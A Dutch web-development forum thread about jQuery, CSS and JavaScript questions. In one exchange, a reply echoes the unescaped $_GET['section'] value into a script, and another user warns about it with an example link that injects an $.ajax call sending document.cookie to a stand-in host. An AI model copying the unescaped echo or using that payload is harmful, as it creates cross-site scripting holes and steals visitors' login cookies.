2
3
4
5
$(document).ready(function(){
  $('#selectable li').live('click', function(){  
    $(this).toggleClass('selected');
  });
});
pascal08donderdag 29 november 2012 @ 23:35
quote:
2s.gif Op donderdag 29 november 2012 23:34 schreef Tijn het volgende:
Is zoiets niet wat je wil?
[ code verwijderd ]

style.css:
[ code verwijderd ]

script.js:
[ code verwijderd ]

Holy shit, even kijken. :D

W00t, deze is nog mooier. :P ...en geen puntje!!! Thanks a million. O+
Tijndonderdag 29 november 2012 @ 23:42
Het is maar een voorbeeldje hoor.

In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
pascal08donderdag 29 november 2012 @ 23:43
quote:
2s.gif Op donderdag 29 november 2012 23:42 schreef Tijn het volgende:
Het is maar een voorbeeldje hoor.

In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Wel een heel mooi voorbeeldje. ;) Ik weet hoe ik jouw voorbeeld kan uitbreiden met een Ajax call, dus dit is perfect. Nog 1 vraagje: waar gebruik je data-id voor bij elke <li>?
Tijndonderdag 29 november 2012 @ 23:44
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
pascal08donderdag 29 november 2012 @ 23:46
quote:
2s.gif Op donderdag 29 november 2012 23:44 schreef Tijn het volgende:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.

Ik heb trouwens ook een slidersysteem gemaakt met jQuery UI. Ik heb er enorm veel werk aan gehad om het helemaal werkend te krijgen, terwijl ik de basis dus niet eens zelf heb hoeven te schrijven. Zou jij zoiets ook zelf maken?
Tijndonderdag 29 november 2012 @ 23:47
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
pascal08donderdag 29 november 2012 @ 23:50
quote:
2s.gif Op donderdag 29 november 2012 23:47 schreef Tijn het volgende:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond. :D
Tijndonderdag 29 november 2012 @ 23:54
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
pascal08donderdag 29 november 2012 @ 23:59
quote:
2s.gif Op donderdag 29 november 2012 23:54 schreef Tijn het volgende:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
Ik snap niet helemaal wat je bedoelt. :@ jQuery UI is toch één compleet bestand? Kan ik delen daarvan gewoon weghalen?
Tijnvrijdag 30 november 2012 @ 00:01
http://jqueryui.com/download/

Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
pascal08vrijdag 30 november 2012 @ 00:03
quote:
2s.gif Op vrijdag 30 november 2012 00:01 schreef Tijn het volgende:
http://jqueryui.com/download/

Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude. _O-

Al die jQuery componenten zijn al goed voor 108kb zie ik. Als er nog niets gecached is gaat er bijna 400kb doorheen. Gelukkig wijs je me er nu op, want volgens mij kan ik uit de bootstrap CSS ook een heleboel slopen.

[ Bericht 10% gewijzigd door pascal08 op 30-11-2012 00:08:06 ]
Deeltjesversnellervrijdag 30 november 2012 @ 09:29


[ Bericht 100% gewijzigd door Deeltjesversneller op 30-11-2012 09:30:12 ]
mstxvrijdag 30 november 2012 @ 09:30
quote:
0s.gif Op vrijdag 30 november 2012 09:29 schreef Deeltjesversneller het volgende:

[ code verwijderd ]

waarom levert (totals == null) false op?
Omdat totals een array is. Dus totals[0]==null.
Deeltjesversnellervrijdag 30 november 2012 @ 09:37
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
#ANONIEMzaterdag 1 december 2012 @ 14:25
Ik ben mijn custom CSS aan het veranderen maar helaas wordt voor sommige elementen op FOK! geen aparte CSS gebruikt waardoor sommige dingen geen class of id krijgen.

Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen?

zelf geprobeerd

1
2
3
a [style*="color:#0000FF"] {
    color: green!important;
}

en allemaal varianten daarop.
n8nzaterdag 1 december 2012 @ 14:41
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
#ANONIEMzaterdag 1 december 2012 @ 14:49
quote:
0s.gif Op vrijdag 30 november 2012 09:37 schreef Deeltjesversneller het volgende:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Geloof er niks van.
#ANONIEMzaterdag 1 december 2012 @ 15:00
quote:
7s.gif Op zaterdag 1 december 2012 14:41 schreef n8n het volgende:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
Het is al gelukt.

1
2
3
a.username[style*="#0000FF"], a.tag[style*="#0000FF"]  {
    color: #389ABE !important;
}

Met dank aan TwyLight.
n8nzaterdag 1 december 2012 @ 15:03
quote:
14s.gif Op zaterdag 1 december 2012 15:00 schreef Dimens het volgende:

[..]

Het is al gelukt.
[ code verwijderd ]

Met dank aan TwyLight.
beter
Deeltjesversnellerzaterdag 1 december 2012 @ 15:16
quote:
8s.gif Op zaterdag 1 december 2012 14:49 schreef Scorpie het volgende:

[..]

Geloof er niks van.
zie DIG / Google Adsense & dergelijke - Sparen voor de kerstinkopen! 8-)
picodealionzondag 2 december 2012 @ 13:16
Tof.
Laser.dinsdag 4 december 2012 @ 13:30
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.

Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
#ANONIEMdinsdag 4 december 2012 @ 13:32
quote:
0s.gif Op dinsdag 4 december 2012 13:30 schreef Laser. het volgende:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.

Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Wat heb je zelf tot nu toe?
Laser.dinsdag 4 december 2012 @ 13:34
quote:
7s.gif Op dinsdag 4 december 2012 13:32 schreef Scorpie het volgende:

[..]

Wat heb je zelf tot nu toe?
Als je op de button klikt roept ie de functie count(); aan.

1
2
3
4
5
6
7
8
<script type="text/javascript">
var img = 1;

function count() {
    img = img + 1;
    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";
}
</script>
Catch22-dinsdag 4 december 2012 @ 13:41
1    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)";
zoiets, kan ook % 3 of (img-1)%4 zijn.
KomtTijd...dinsdag 4 december 2012 @ 13:42
quote:
11s.gif Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:

[ code verwijderd ]

zoiets, kan ook % 3 of (img-1)%4 zijn.
Neuh, gewoon %4 en bij 0 beginnen.
#ANONIEMdinsdag 4 december 2012 @ 13:43
quote:
0s.gif Op dinsdag 4 december 2012 13:34 schreef Laser. het volgende:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
1
2
3
4
5
6
7
8
<?php
var img 1;

function 
count() {    
  (
img 4) ? img img++ : img 1;
  
document.getElementById("content").style.backgroundImage "url(content/art/S3/S3_img"+img+".jpg)";
}
?>


[ Bericht 1% gewijzigd door #ANONIEM op 04-12-2012 13:44:27 ]
#ANONIEMdinsdag 4 december 2012 @ 13:44
quote:
11s.gif Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:

[ code verwijderd ]

zoiets, kan ook % 3 of (img-1)%4 zijn.
Netter dan de mijne.
Laser.dinsdag 4 december 2012 @ 13:51
Ik ga het zo eens proberen, bedankt alvast. Ik heb nu nog een ander probleempje wat eerst opgelost moet worden.

Ik heb het volgende bovenaan de pagina:

1
2
3
<script type="text/javascript">
    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";
</script>

De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
KomtTijd...dinsdag 4 december 2012 @ 14:25
Als je even je console opent zie je direct of je een foutmelding krijgt en kun je ook zien of het adres daadwerkelijk gevonden kan worden.

gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.

[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
Laser.dinsdag 4 december 2012 @ 14:57
Thanks ik heb het nu werkend maar zit nog met 1 dingetje. :)

Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1

Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.

Als je nu naar mijn script kijkt:

1
2
3
4
5
6
7
8
9
<script type="text/javascript">
var section = "S3";
var img = 1;
function count() {
img = img + 1;
document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)";
if (img==4) img=0;
}
</script>

Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?

Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?

[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
Catch22-dinsdag 4 december 2012 @ 15:06
1var section = "<?= $_GET["section"] ?>";
Laser.dinsdag 4 december 2012 @ 15:17
Oh ja dat kan natuurlijk gewoon... :D

Thanks! :)
KomtTijd...dinsdag 4 december 2012 @ 15:24
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
PimDdinsdag 4 december 2012 @ 19:18
quote:
14s.gif Op dinsdag 4 december 2012 15:24 schreef KomtTijd... het volgende:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Ach, mensen klikken ook op dit soort pareltjes.

quote:
javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
Er sterft altijd een beetje van mezelf als ik zulke dingen zie :(
Tijndinsdag 4 december 2012 @ 19:58
Ik dacht ook dat het normaal was om even statusbalk naar de href van een link te kijken voordat je erop klikt, maar ik ben er inmiddels na een hoop contact met gebruikers wel achter dat echt niemand iets met die informatie doet :')
Dimaurowoensdag 5 december 2012 @ 13:16
Ik ben sinds een week aan het stunten met een (kleine) website. Notepad + + gedownload om de bestanden snel aan te kunnen passen, en een bronmap aangemaakt voor de verschillende files. De index in html gemaakt, de opmaak met css. Ik wilde graag een goede basis hebben voordat ik foto's en andere dingen zou gaan proberen, dus het oogt nog een beetje kaal misschien.

Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.

1
2
3
4
5
6
7
8
9
10
11
$(document).ready(function(){
    // index laden bij start
    $('#content').load('content/index.php');
    
    // navigatie laden bij klikken
    $('ul#nav li a').click(function() {
        var page = $(this).attr('href');
        $('#content').load('content/' + page + '.php');
        return false;
    });
});

Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?

Ik hoop dat iemand wat tips heeft.

ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5 :)
Catch22-woensdag 5 december 2012 @ 13:20
Even een flowtutorial lezen :)

http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
Dimaurowoensdag 5 december 2012 @ 13:29
quote:
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepast :@
Catch22-woensdag 5 december 2012 @ 13:48
http://jsfiddle.net/3zWHJ/4/
Dimaurowoensdag 5 december 2012 @ 15:12
1. is opgelost ik had de #container div geen width meer meegegeven :)
boem-dikkievrijdag 7 december 2012 @ 14:12
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
donroycovrijdag 7 december 2012 @ 14:26
quote:
14s.gif Op vrijdag 7 december 2012 14:12 schreef boem-dikkie het volgende:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
boem-dikkievrijdag 7 december 2012 @ 14:44
quote:
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
donroycovrijdag 7 december 2012 @ 14:56
quote:
14s.gif Op vrijdag 7 december 2012 14:44 schreef boem-dikkie het volgende:

[..]

PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Jammer :{
boem-dikkievrijdag 7 december 2012 @ 15:10
Heb met de Google API ook resultaat. Die werkt mooi.
KomtTijd...vrijdag 7 december 2012 @ 15:29
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
wobbelzaterdag 8 december 2012 @ 11:37
Help :P

Ik heb de volgende HTML code
1
2
3
4
5
6
7
8
    <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32">
        Test test Test test Test test Test test 
        <div class="author">Henk de Tank</div>
    </div>
    <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31">
        Doet ie het?
        <div class="author">Einzzzstein</div>
    </div>

Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet :( ik krijg undefined met de volgende code

1
2
3
    $("div.note").dblclick(function(event) {
        alert($(event).data("id"));
        })


[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
picodealionzaterdag 8 december 2012 @ 11:44
Je kan $(event).dataset.id proberen, maar dat werkt geloof ik nog niet in alle browsers. Anders is $(event).attr("data-id") altijd wel een veilige optie.;.

edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.

[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
wobbelzaterdag 8 december 2012 @ 11:52
$(event).dataset.id doet helemaal niks, $(event).attr("data-id") geeft inderdaad undefined.
picodealionzaterdag 8 december 2012 @ 11:55
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).


this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
boem-dikkiezaterdag 8 december 2012 @ 13:22
quote:
14s.gif Op vrijdag 7 december 2012 15:29 schreef KomtTijd... het volgende:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.
boem-dikkiezaterdag 8 december 2012 @ 13:24
quote:
2s.gif Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).

this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
$(this) werkt sowieso wel mooi voor dit soort dingen.
wobbelzaterdag 8 december 2012 @ 19:34
quote:
2s.gif Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).

this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Thanks :) en ook nog bedankt voor de uitleg.